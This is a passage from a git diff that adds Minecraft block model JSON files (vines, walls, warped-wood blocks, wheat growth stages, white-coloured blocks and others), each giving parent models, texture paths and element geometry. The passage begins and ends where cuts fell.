15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_4.json b/src/assets/minecraft/models/block/vine_4.json new file mode 100644 index 00000000..88d325dc --- /dev/null +++ b/src/assets/minecraft/models/block/vine_4.json @@ -0,0 +1,41 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0.8, 0, 0 ], + "to": [ 0.8, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_4u.json b/src/assets/minecraft/models/block/vine_4u.json new file mode 100644 index 00000000..6cd3cbf2 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_4u.json @@ -0,0 +1,49 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0.8, 0, 0 ], + "to": [ 0.8, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 15.2, 0, 0 ], + "to": [ 15.2, 16, 16 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 15.2 ], + "to": [ 16, 16, 15.2 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + }, + { "from": [ 0, 0, 0.8 ], + "to": [ 16, 16, 0.8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/vine_u.json b/src/assets/minecraft/models/block/vine_u.json new file mode 100644 index 00000000..5219cfc0 --- /dev/null +++ b/src/assets/minecraft/models/block/vine_u.json @@ -0,0 +1,17 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/vine", + "vine": "block/vine" + }, + "elements": [ + { "from": [ 0, 15.2, 0 ], + "to": [ 16, 15.2, 16 ], + "shade": false, + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#vine", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/wall_inventory.json b/src/assets/minecraft/models/block/wall_inventory.json new file mode 100644 index 00000000..4638d77e --- /dev/null +++ b/src/assets/minecraft/models/block/wall_inventory.json @@ -0,0 +1,44 @@ +{ "parent": "block/block", + "display": { + "gui": { + "rotation": [ 30, 135, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "fixed": { + "rotation": [ 0, 90, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.5, 0.5, 0.5 ] + } + }, + "ambientocclusion": false, + "textures": { + "particle": "#wall" + }, + "elements": [ + { "from": [ 4, 0, 4 ], + "to": [ 12, 16, 12 ], + "faces": { + "down": { "uv": [ 4, 4, 12, 12 ], "texture": "#wall", "cullface": "down" }, + "up": { "uv": [ 4, 4, 12, 12 ], "texture": "#wall" }, + "north": { "uv": [ 4, 0, 12, 16 ], "texture": "#wall" }, + "south": { "uv": [ 4, 0, 12, 16 ], "texture": "#wall" }, + "west": { "uv": [ 4, 0, 12, 16 ], "texture": "#wall" }, + "east": { "uv": [ 4, 0, 12, 16 ], "texture": "#wall" } + }, + "__comment": "Center post" + }, + { "from": [ 5, 0, 0 ], + "to": [ 11, 13, 16 ], + "faces": { + "down": { "uv": [ 5, 0, 11, 16 ], "texture": "#wall", "cullface": "down" }, + "up": { "uv": [ 5, 0, 11, 16 ], "texture": "#wall" }, + "north": { "uv": [ 5, 3, 11, 16 ], "texture": "#wall", "cullface": "north" }, + "south": { "uv": [ 5, 3, 11, 16 ], "texture": "#wall", "cullface": "south" }, + "west": { "uv": [ 0, 3, 16, 16 ], "texture": "#wall" }, + "east": { "uv": [ 0, 3, 16, 16 ], "texture": "#wall" } + }, + "__comment": "Full wall" + } + ] +} diff --git a/src/assets/minecraft/models/block/wall_torch.json b/src/assets/minecraft/models/block/wall_torch.json new file mode 100644 index 00000000..e30eec7f --- /dev/null +++ b/src/assets/minecraft/models/block/wall_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_torch_wall", + "textures": { + "torch": "minecraft:block/torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_button.json b/src/assets/minecraft/models/block/warped_button.json new file mode 100644 index 00000000..bdf5bc88 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_button_inventory.json b/src/assets/minecraft/models/block/warped_button_inventory.json new file mode 100644 index 00000000..2332270f --- /dev/null +++ b/src/assets/minecraft/models/block/warped_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_button_pressed.json b/src/assets/minecraft/models/block/warped_button_pressed.json new file mode 100644 index 00000000..feb58b7a --- /dev/null +++ b/src/assets/minecraft/models/block/warped_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_door_bottom.json b/src/assets/minecraft/models/block/warped_door_bottom.json new file mode 100644 index 00000000..cc036b9f --- /dev/null +++ b/src/assets/minecraft/models/block/warped_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/warped_door_top", + "bottom": "minecraft:block/warped_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_door_bottom_hinge.json b/src/assets/minecraft/models/block/warped_door_bottom_hinge.json new file mode 100644 index 00000000..c304c2be --- /dev/null +++ b/src/assets/minecraft/models/block/warped_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/warped_door_top", + "bottom": "minecraft:block/warped_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_door_top.json b/src/assets/minecraft/models/block/warped_door_top.json new file mode 100644 index 00000000..a827de6e --- /dev/null +++ b/src/assets/minecraft/models/block/warped_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/warped_door_top", + "bottom": "minecraft:block/warped_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_door_top_hinge.json b/src/assets/minecraft/models/block/warped_door_top_hinge.json new file mode 100644 index 00000000..2b66b6e2 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/warped_door_top", + "bottom": "minecraft:block/warped_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_gate.json b/src/assets/minecraft/models/block/warped_fence_gate.json new file mode 100644 index 00000000..11e873be --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_gate_open.json b/src/assets/minecraft/models/block/warped_fence_gate_open.json new file mode 100644 index 00000000..f4f3f82d --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_gate_wall.json b/src/assets/minecraft/models/block/warped_fence_gate_wall.json new file mode 100644 index 00000000..ad90d153 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_gate_wall_open.json b/src/assets/minecraft/models/block/warped_fence_gate_wall_open.json new file mode 100644 index 00000000..af30e1e6 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_inventory.json b/src/assets/minecraft/models/block/warped_fence_inventory.json new file mode 100644 index 00000000..296e99f9 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_post.json b/src/assets/minecraft/models/block/warped_fence_post.json new file mode 100644 index 00000000..51ef01dd --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fence_side.json b/src/assets/minecraft/models/block/warped_fence_side.json new file mode 100644 index 00000000..6dba3fec --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_fungus.json b/src/assets/minecraft/models/block/warped_fungus.json new file mode 100644 index 00000000..c07b792a --- /dev/null +++ b/src/assets/minecraft/models/block/warped_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/warped_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_hyphae.json b/src/assets/minecraft/models/block/warped_hyphae.json new file mode 100644 index 00000000..eb9e767f --- /dev/null +++ b/src/assets/minecraft/models/block/warped_hyphae.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/warped_stem", + "side": "minecraft:block/warped_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_nylium.json b/src/assets/minecraft/models/block/warped_nylium.json new file mode 100644 index 00000000..da22628d --- /dev/null +++ b/src/assets/minecraft/models/block/warped_nylium.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/warped_nylium", + "bottom": "minecraft:block/netherrack", + "side": "minecraft:block/warped_nylium_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_planks.json b/src/assets/minecraft/models/block/warped_planks.json new file mode 100644 index 00000000..993971b5 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_pressure_plate.json b/src/assets/minecraft/models/block/warped_pressure_plate.json new file mode 100644 index 00000000..7cf3ebd7 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_pressure_plate_down.json b/src/assets/minecraft/models/block/warped_pressure_plate_down.json new file mode 100644 index 00000000..1ec67ce3 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_roots.json b/src/assets/minecraft/models/block/warped_roots.json new file mode 100644 index 00000000..85bc3316 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/warped_roots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_sign.json b/src/assets/minecraft/models/block/warped_sign.json new file mode 100644 index 00000000..b7b47f67 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_slab.json b/src/assets/minecraft/models/block/warped_slab.json new file mode 100644 index 00000000..63a7efda --- /dev/null +++ b/src/assets/minecraft/models/block/warped_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/warped_planks", + "top": "minecraft:block/warped_planks", + "side": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_slab_top.json b/src/assets/minecraft/models/block/warped_slab_top.json new file mode 100644 index 00000000..e2f6eaa4 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/warped_planks", + "top": "minecraft:block/warped_planks", + "side": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_stairs.json b/src/assets/minecraft/models/block/warped_stairs.json new file mode 100644 index 00000000..867e8c67 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/warped_planks", + "top": "minecraft:block/warped_planks", + "side": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_stairs_inner.json b/src/assets/minecraft/models/block/warped_stairs_inner.json new file mode 100644 index 00000000..a91e8bed --- /dev/null +++ b/src/assets/minecraft/models/block/warped_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/warped_planks", + "top": "minecraft:block/warped_planks", + "side": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_stairs_outer.json b/src/assets/minecraft/models/block/warped_stairs_outer.json new file mode 100644 index 00000000..dff375fd --- /dev/null +++ b/src/assets/minecraft/models/block/warped_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/warped_planks", + "top": "minecraft:block/warped_planks", + "side": "minecraft:block/warped_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_stem.json b/src/assets/minecraft/models/block/warped_stem.json new file mode 100644 index 00000000..2d1fcc34 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/warped_stem_top", + "side": "minecraft:block/warped_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_trapdoor_bottom.json b/src/assets/minecraft/models/block/warped_trapdoor_bottom.json new file mode 100644 index 00000000..211b1add --- /dev/null +++ b/src/assets/minecraft/models/block/warped_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/warped_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_trapdoor_open.json b/src/assets/minecraft/models/block/warped_trapdoor_open.json new file mode 100644 index 00000000..cfcf7177 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/warped_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_trapdoor_top.json b/src/assets/minecraft/models/block/warped_trapdoor_top.json new file mode 100644 index 00000000..daac6db9 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/warped_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/warped_wart_block.json b/src/assets/minecraft/models/block/warped_wart_block.json new file mode 100644 index 00000000..7f41d1a5 --- /dev/null +++ b/src/assets/minecraft/models/block/warped_wart_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/warped_wart_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/water.json b/src/assets/minecraft/models/block/water.json new file mode 100644 index 00000000..75907472 --- /dev/null +++ b/src/assets/minecraft/models/block/water.json @@ -0,0 +1,6 @@ +{ + "textures": { + "particle": "block/water_still" + } +} + diff --git a/src/assets/minecraft/models/block/weeping_vines.json b/src/assets/minecraft/models/block/weeping_vines.json new file mode 100644 index 00000000..a675fda1 --- /dev/null +++ b/src/assets/minecraft/models/block/weeping_vines.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/weeping_vines" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/weeping_vines_plant.json b/src/assets/minecraft/models/block/weeping_vines_plant.json new file mode 100644 index 00000000..c7a9ae05 --- /dev/null +++ b/src/assets/minecraft/models/block/weeping_vines_plant.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/weeping_vines_plant" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wet_sponge.json b/src/assets/minecraft/models/block/wet_sponge.json new file mode 100644 index 00000000..1b0b8a97 --- /dev/null +++ b/src/assets/minecraft/models/block/wet_sponge.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/wet_sponge" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage0.json b/src/assets/minecraft/models/block/wheat_stage0.json new file mode 100644 index 00000000..8343729c --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage1.json b/src/assets/minecraft/models/block/wheat_stage1.json new file mode 100644 index 00000000..1fa14ff8 --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage2.json b/src/assets/minecraft/models/block/wheat_stage2.json new file mode 100644 index 00000000..9c2e59a1 --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage3.json b/src/assets/minecraft/models/block/wheat_stage3.json new file mode 100644 index 00000000..75b167dd --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage4.json b/src/assets/minecraft/models/block/wheat_stage4.json new file mode 100644 index 00000000..3dae7e5e --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage4.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage4" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage5.json b/src/assets/minecraft/models/block/wheat_stage5.json new file mode 100644 index 00000000..1cd7d96b --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage5.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage5" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage6.json b/src/assets/minecraft/models/block/wheat_stage6.json new file mode 100644 index 00000000..7201c51a --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage6.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage6" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wheat_stage7.json b/src/assets/minecraft/models/block/wheat_stage7.json new file mode 100644 index 00000000..492b6715 --- /dev/null +++ b/src/assets/minecraft/models/block/wheat_stage7.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/wheat_stage7" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_carpet.json b/src/assets/minecraft/models/block/white_carpet.json new file mode 100644 index 00000000..08d5186e --- /dev/null +++ b/src/assets/minecraft/models/block/white_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/white_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_concrete.json b/src/assets/minecraft/models/block/white_concrete.json new file mode 100644 index 00000000..92188f47 --- /dev/null +++ b/src/assets/minecraft/models/block/white_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/white_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_concrete_powder.json b/src/assets/minecraft/models/block/white_concrete_powder.json new file mode 100644 index 00000000..2c8c16b1 --- /dev/null +++ b/src/assets/minecraft/models/block/white_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/white_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_glazed_terracotta.json b/src/assets/minecraft/models/block/white_glazed_terracotta.json new file mode 100644 index 00000000..e33fbedc --- /dev/null +++ b/src/assets/minecraft/models/block/white_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/white_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_shulker_box.json b/src/assets/minecraft/models/block/white_shulker_box.json new file mode 100644 index 00000000..3a9a58d3 --- /dev/null +++ b/src/assets/minecraft/models/block/white_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/white_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass.json b/src/assets/minecraft/models/block/white_stained_glass.json new file mode 100644 index 00000000..4e135e3d --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/white_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/white_stained_glass_pane_noside.json new file mode 100644 index 00000000..b854d543 --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/white_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/white_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..a4cf80c3 --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/white_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass_pane_post.json b/src/assets/minecraft/models/block/white_stained_glass_pane_post.json new file mode 100644 index 00000000..dec6a8dd --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/white_stained_glass", + "edge": "minecraft:block/white_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass_pane_side.json b/src/assets/minecraft/models/block/white_stained_glass_pane_side.json new file mode 100644 index 00000000..72312434 --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/white_stained_glass", + "edge": "minecraft:block/white_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/white_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..40e292ec --- /dev/null +++ b/src/assets/minecraft/models/block/white_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/white_stained_glass", + "edge": "minecraft:block/white_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_terracotta.json b/src/assets/minecraft/models/block/white_terracotta.json new file mode 100644 index 00000000..eb6bc006 --- /dev/null +++ b/src/assets/minecraft/models/block/white_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/white_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_tulip.json b/src/assets/minecraft/models/block/white_tulip.json new file mode 100644 index 00000000..d31ceab8 --- /dev/null +++ b/src/assets/minecraft/models/block/white_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/white_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/white_wool.json b/src/assets/minecraft/models/block/white_wool.json new file mode 100644 index 00000000..8af86fa1 --- /dev/null +++ b/src/assets/minecraft/models/block/white_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/white_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/wither_rose.json b/src/assets/minecraft/models/block/wither_rose.json new file mode 100644 index 00000000..47089458 --- /dev/null +++ b/src/assets/minecraft/models/block/wither_rose.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/wither_rose" + } +} \ No newline at end of file diff --git 